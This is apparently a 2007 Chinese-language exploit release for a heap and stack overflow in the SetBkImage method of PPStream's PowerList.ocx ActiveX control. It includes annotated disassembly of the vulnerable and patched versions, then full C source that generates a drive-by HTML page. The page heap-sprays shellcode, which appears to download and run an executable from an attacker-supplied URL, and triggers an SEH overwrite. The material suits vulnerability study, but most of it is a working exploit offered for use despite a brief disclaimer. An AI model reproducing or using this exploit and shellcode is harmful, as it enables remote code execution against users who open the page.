/*
PPStream
PowerList.ocx
2.1.6.2916

描述:
SetBkImage 堆和栈溢出, 还是以前的老问题。以前补的是PowerPlayer.dll中的

这里利用堆溢出和栈溢出,使用 CFindFile 对参数检查不严格,导致堆溢出。
在其析构时会导致异常,并且在析构之前发生了 strcat 导致栈溢出,覆盖掉
原来的 seh 处理程序

author: dummyz@126.com

2007-11-11
*/

不要用在恶意用途,后果自负

代码:


//PowerList.ocx 2.1.6.2916
.text:1003178C
.text:1003178C SetBkImage      proc near               ; CODE XREF: sub_100307EB+80Bp
.text:1003178C                                         ; sub_10031B3B+22p
.text:1003178C                                         ; DATA XREF: .rdata:10040968o
.text:1003178C
.text:1003178C var_130         = dword ptr -130h
.text:1003178C
.text:1003178C                 mov     eax, offset loc_1003E1DC
.text:10031791                 call    __EH_prolog
.text:10031791
.text:10031796                 sub     esp, 120h
.text:1003179C                 push    ebx
.text:1003179D                 push    esi
.text:1003179E                 push    edi
.text:1003179F                 mov     edi, [ebp+8]    ; filepath
.text:100317A2                 xor     ebx, ebx
.text:100317A4                 mov     esi, ecx
.text:100317A6                 cmp     edi, ebx
.text:100317A8                 jz      loc_10031872
.text:100317A8
.text:100317AE                 push    edi             ; lpString
.text:100317AF                 call    ds:lstrlenA
.text:100317B5                 cmp     eax, 1
.text:100317B8                 jl      loc_10031872
.text:100317B8
.text:100317BE                 lea     ecx, [ebp-28h]
.text:100317C1                 call    CFileFind::CFileFind(void)
.text:100317C1
.text:100317C6                 push    ebx
.text:100317C7                 push    edi
.text:100317C8                 lea     ecx, [ebp-28h]
.text:100317CB                 mov     [ebp-4], ebx
.text:100317CE                 call    CFileFind::FindFile(char const *,ulong) ; 传递给 CFindFile 没有检查参数长度, 而 CFindFile 也没有检查
.text:100317CE                                         ;
.text:100317CE                                         ; // 摘自 v6 mfc 源码 filefind.cpp
.text:100317CE                                         ; BOOL CFileFind::FindFile(LPCTSTR pstrName /* = NULL */,
.text:100317CE                                         ;         DWORD dwUnused /* = 0 */)
.text:100317CE                                         ; {
.text:100317CE                                         ;         UNUSED_ALWAYS(dwUnused);
.text:100317CE                                         ;         Close();
.text:100317CE                                         ;         m_pNextInfo = new WIN32_FIND_DATA; // 从堆中分配内存
.text:100317CE                                         ;         m_bGotLast = FALSE;
.text:100317CE                                         ;
.text:100317CE                                         ;         if (pstrName == NULL)
.text:100317CE                                         ;                 pstrName = _T("*.*");
.text:100317CE                                         ;         lstrcpy(((WIN32_FIND_DATA*) m_pNextInfo)->cFileName, pstrName); // 没有检查上面传过来的参数长度,之间拷贝。导致恶意输入破坏掉堆
.text:100317CE                                         ;
.text:100317CE
.text:100317D3                 test    eax, eax
.text:100317D5                 jz      short loc_100317E7
.text:100317D5
.text:100317D7                 push    edi             ; dwBytes
.text:100317D8                 lea     ecx, [esi+220h]
.text:100317DE                 call    sub_10033C51
.text:100317DE
.text:100317E3                 test    eax, eax
.text:100317E5                 jmp     short loc_1003184B
.text:100317E5
.text:100317E7 ; ---------------------------------------------------------------------------
.text:100317E7
.text:100317E7 loc_100317E7:                           ; CODE XREF: SetBkImage+49j
.text:100317E7                 lea     eax, [ebp-12Ch]
.text:100317ED                 push    eax             ; char *
.text:100317EE                 call    sub_100316F0
.text:100317EE
.text:100317F3                 lea     eax, [ebp-12Ch]
.text:100317F9                 mov     [esp+130h+var_130], offset asc_1004A194 ; "\\"
.text:10031800                 push    eax             ; char *
.text:10031801                 call    strcat
.text:10031801
.text:10031806                 lea     eax, [ebp-12Ch]
.text:1003180C                 push    edi             ; char *
.text:1003180D                 push    eax             ; char *
.text:1003180E                 call    strcat          ; 链接字符串再次没有检查参数,恶意输入导致堆栈溢出
.text:1003180E
.text:10031813                 add     esp, 10h
.text:10031816                 lea     edi, [esi+220h]
.text:1003181C                 lea     eax, [ebp-12Ch]
.text:10031822                 mov     ecx, edi
.text:10031824                 push    eax             ; dwBytes
.text:10031825                 call    sub_10033C51
...
.text:1003184D loc_1003184D:                           ; CODE XREF: sub_1003178C+A0j
.text:1003184D                 push    1               ; bErase
.text:1003184F                 push    ebx             ; lpRect
.text:10031850                 push    dword ptr [esi+774h] ; hWnd
.text:10031856                 call    ds:InvalidateRect
.text:10031856
.text:1003185C
.text:1003185C loc_1003185C:                           ; CODE XREF: sub_1003178C:loc_1003184Bj
.text:1003185C                 lea     ecx, [ebp-28h]
.text:1003185F                 call    CFileFind::Close(void)
.text:1003185F
.text:10031864                 or      dword ptr [ebp-4], 0FFFFFFFFh
.text:10031868                 lea     ecx, [ebp-28h]
.text:1003186B                 call    CFileFind::~CFileFind(void)  ;在析构时,会调用前面释放 new 的内存,如果前面发生了溢出
                                  ;会在这里发生异常,异常原因是覆盖掉了堆链中的一个函数指针
                                  ;在发生次函数调用时,访问违规。第一想是利用此来获取执行机会
                                  ;但是试了几次,成功机会很低(因为在构造 shellcode 前面一大段空
                                  ;指令时,这个空指令既当地址有当函数指针,其中先是使用 0x0a0d0a0d,
                                  ;在执行到 shellcode 之前会因为指令构造不对齐失败)。
                                  ;最后采用了堆栈溢出,覆盖 seh.在此处发生的异常,得到执行机会
.text:1003186B
.text:10031870                 jmp     short loc_100318A4
.text:10031870

他们与周日已经补上了,最新版本的是 2.1.6.2920

代码:

版本: PowerList.ocx  2.1.6.2920
.text:1003178C SetBkImage      proc near               ; CODE XREF: sub_100307EB+80Bp
.text:1003178C                                         ; sub_10031B46+22p
.text:1003178C                                         ; DATA XREF: .rdata:10040968o
.text:1003178C
.text:1003178C var_130         = dword ptr -130h
.text:1003178C
.text:1003178C                 mov     eax, offset loc_1003E1EC
.text:10031791                 call    __EH_prolog
.text:10031791
.text:10031796                 sub     esp, 120h
.text:1003179C                 push    ebx
.text:1003179D                 push    esi
.text:1003179E                 push    edi
.text:1003179F                 mov     edi, [ebp+8]
.text:100317A2                 mov     esi, ecx
.text:100317A4                 push    edi             ; lpString
.text:100317A5                 call    ds:lstrlenA
.text:100317AB                 xor     ebx, ebx
.text:100317AD                 cmp     edi, ebx
.text:100317AF                 jz      loc_1003187D
.text:100317AF
.text:100317B5                 cmp     eax, 1
.text:100317B8                 jl      loc_1003187D
.text:100317B8
.text:100317BE                 cmp     eax, 104h    ;最新版本已经加了长度检查 
.text:100317C3                 jg      loc_1003187D
.text:100317C3
.text:100317C9                 lea     ecx, [ebp-28h]
.text:100317CC                 call    CFileFind::CFileFind(void)
.text:100317CC
.text:100317D1                 push    ebx
.text:100317D2                 push    edi
.text:100317D3                 lea     ecx, [ebp-28h]
.text:100317D6                 mov     [ebp-4], ebx
.text:100317D9                 call    CFileFind::FindFile(char const *,ulong)

代码:

/*
PPStream
PowerList.ocx
2.1.6.2916

描述:
SetBkImage 堆和栈溢出, 还是以前的老问题。以前补的是PowerPlayer.dll中的

这里利用堆溢出和栈溢出,使用 CFindFile 对参数检查不严格,导致堆溢出。
在其析构时会导致异常,并且在析构之前发生了 strcat 导致栈溢出,覆盖掉
原来的 seh 处理程序

author: dummyz@126.com

2007-11-11
*/

#define _CRT_SECURE_NO_DEPRECATE

#include <windows.h>
#include <stdio.h>

const unsigned char shellcode[174] = 
{
  // 必须是偶数大小
  0xE8, 0x00, 0x00, 0x00, 0x00, 0x6A, 0x03, 0xEB, 0x21, 0x7E, 0xD8, 0xE2, 0x73, 0x98, 0xFE, 0x8A, 
  0x0E, 0x8E, 0x4E, 0x0E, 0xEC, 0x55, 0x52, 0x4C, 0x4D, 0x4F, 0x4E, 0x00, 0x00, 0x36, 0x1A, 0x2F, 
  0x70, 0x63, 0x3A, 0x5C, 0x63, 0x2E, 0x65, 0x78, 0x65, 0x00, 0x59, 0x5F, 0xAF, 0x67, 0x64, 0xA1, 
  0x30, 0x00, 0x8B, 0x40, 0x0C, 0x8B, 0x70, 0x1C, 0xAD, 0x8B, 0x68, 0x08, 0x51, 0x8B, 0x75, 0x3C, 
  0x8B, 0x74, 0x2E, 0x78, 0x03, 0xF5, 0x56, 0x8B, 0x76, 0x20, 0x03, 0xF5, 0x33, 0xC9, 0x49, 0x41, 
  0xAD, 0x03, 0xC5, 0x33, 0xDB, 0x0F, 0xBE, 0x10, 0x38, 0xF2, 0x74, 0x08, 0xC1, 0xCB, 0x0D, 0x03, 
  0xDA, 0x40, 0xEB, 0xF1, 0x3B, 0x1F, 0x75, 0xE7, 0x5E, 0x8B, 0x5E, 0x24, 0x03, 0xDD, 0x66, 0x8B, 
  0x0C, 0x4B, 0x8B, 0x5E, 0x1C, 0x03, 0xDD, 0x8B, 0x04, 0x8B, 0x03, 0xC5, 0xAB, 0x59, 0xE2, 0xBC, 
  0x8B, 0x0F, 0x80, 0xF9, 0x63, 0x74, 0x0A, 0x57, 0xFF, 0xD0, 0x95, 0xAF, 0xAF, 0x6A, 0x01, 0xEB, 
  0xAC, 0x52, 0x52, 0x57, 0x8D, 0x8F, 0xDB, 0x10, 0x40, 0x00, 0x81, 0xE9, 0x4E, 0x10, 0x40, 0x00, 
  0x51, 0x52, 0xFF, 0xD0, 0x6A, 0x01, 0x57, 0xFF, 0x57, 0xEC, 0xFF, 0x57, 0xE8, 0x90
};

const char* script1 = \
  "<html><body><object id=\"ppc\" classid=\"clsid:20C2C286-BDE8-441B-B73D-AFA22D914DA5\"></object><script>"
  "var shellcode = unescape(\"";
const char* script2 = \
  "\");"
  "fillblock = unescape(\"%u9090\");"
  "while ( fillblock.length < 0x30000 ) fillblock += fillblock;"
  "memory = new Array();"
  "for ( x = 0; x < 400; x++ ) memory[x] = fillblock + shellcode;"
  "var buffer = '\\x0a\\x0a\\x0a\\x0a';"
  "while (buffer.length < 300) buffer += '\\x0a\\x0a\\x0a\\x0a';"
  "ppc.SetBkImage(buffer);"
  "</script>"
  "</body>"
  "</html>"
  "</script>"
  "</body>"
  "</html>";

int main(int argc, char* argv[])
{
  if ( argc != 2 )
  {
    printf("ex:fuckpps url\nwritten by dummyz@126.com (2007)\n");
    return -1;
  }

  FILE *file = fopen("fuckpps.html", "w+");
  if ( file == NULL )
  {
    printf("create 'fuckpps.html' failed!\n");
    return -2;
  }

  fprintf(file, "%s", script1);
  for ( unsigned i = 0; i < sizeof (shellcode); i += 2 )
    fprintf(file, "%%u%02X%02X" , shellcode[i + 1], shellcode[i]);
  
  const unsigned l = strlen(argv[1]);
  for ( unsigned j = 0; j < l; j += 2 )
    fprintf(file, "%%u%02X%02X" , argv[1][j + 1], argv[1][j]);

  fprintf(file, "%s", script2);
  fclose(file);

  printf("make 'fuckpps.html' successed!\n");

  return 0;
}